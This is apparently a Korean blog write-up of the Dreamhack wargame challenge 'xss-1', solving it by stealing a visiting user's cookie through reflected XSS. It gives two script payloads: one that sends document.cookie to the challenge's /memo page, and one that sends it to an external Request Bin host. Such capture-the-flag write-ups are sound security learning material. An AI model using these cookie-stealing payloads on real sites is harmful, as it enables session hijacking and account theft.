ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Dreamhack - xss-1
    wargame/Dreamhack 2024. 2. 7. 16:45

    [LEVEL 1 - xss-1 - web]

     

     

    XSS 취약점을 이용해 플래그를 획득하는 문제이다.

     

     

     

     

    문제 환경에 접속하면 나오는 첫 화면이다.

     

     

     

    플래그 값을 얻기 위해서는 /vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 한다.

    탈취한 쿠키를 전달받기 위해서는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용하면 된다.

     

    공격에 사용할 수 있는 속성으로는 location.href(전체 URL 반환 or URL 업데이트할 수 있는 속성값)와 document.cookie(해당 페이지에서 사용하는 쿠키를 읽고 쓰는 속성값)가 있다.

     

     

     

     

     

    memo 페이지를 사용하여 쿠키를 탈취해 보겠다.

    flag 엔드포인트에서 익스플로잇 코드를 작성하고 제출을 누르면 memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있다.

     

     

     

     

    <script>location.href = "/memo?memo=" + document.cookie;</script>

     

    위와 같이 익스플로잇 코드를 입력했다.

     

     

     

     

    그러면 Good 이라는 창이 뜨고 다시 memo 엔드포인트로 가보면 플래그가 출력되어 있다.

     

     

     

     

    플래그를 획득했다!

     

     

     

     

    앞서 소개한 두 가지 방법 중 또 다른 방법인 웹 서버를 사용하여 플래그를 획득해 보겠다.

     

    외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인할 수 있다.

    손쉽게 실습하기 위해 드림핵에서 제공하는 서비스를 이용한다.

    드림핵 툴즈 서비스(tools.dreamhack.games)에서 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보를 확인할 수 있다.

    Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되는데, 해당 URL에 접속한 기록을 저장한다.

     

     

     

    <script>location.href = "https://hebcfjc.request.dreamhack.games/?memo=" + document.cookie;</script>

     

     

    따라서 flag 기능에서 위와 같은 익스플로잇 코드를 입력하면 아래와 같이 접속 기록에 포함된 플래그를 확인할 수 있다.

     

     

     

     

     

    다른 방법으로도 플래그를 획득했다!

     

    'wargame > Dreamhack' 카테고리의 다른 글

    Dreamhack - csrf-1  (0) 2024.02.20
    Dreamhack - xss-2  (0) 2024.02.07
    Dreamhack - session-basic  (0) 2024.01.31
    Dreamhack - cookie  (0) 2024.01.31
    Dreamhack - Carve Party  (0) 2024.01.23
Designed by Tistory.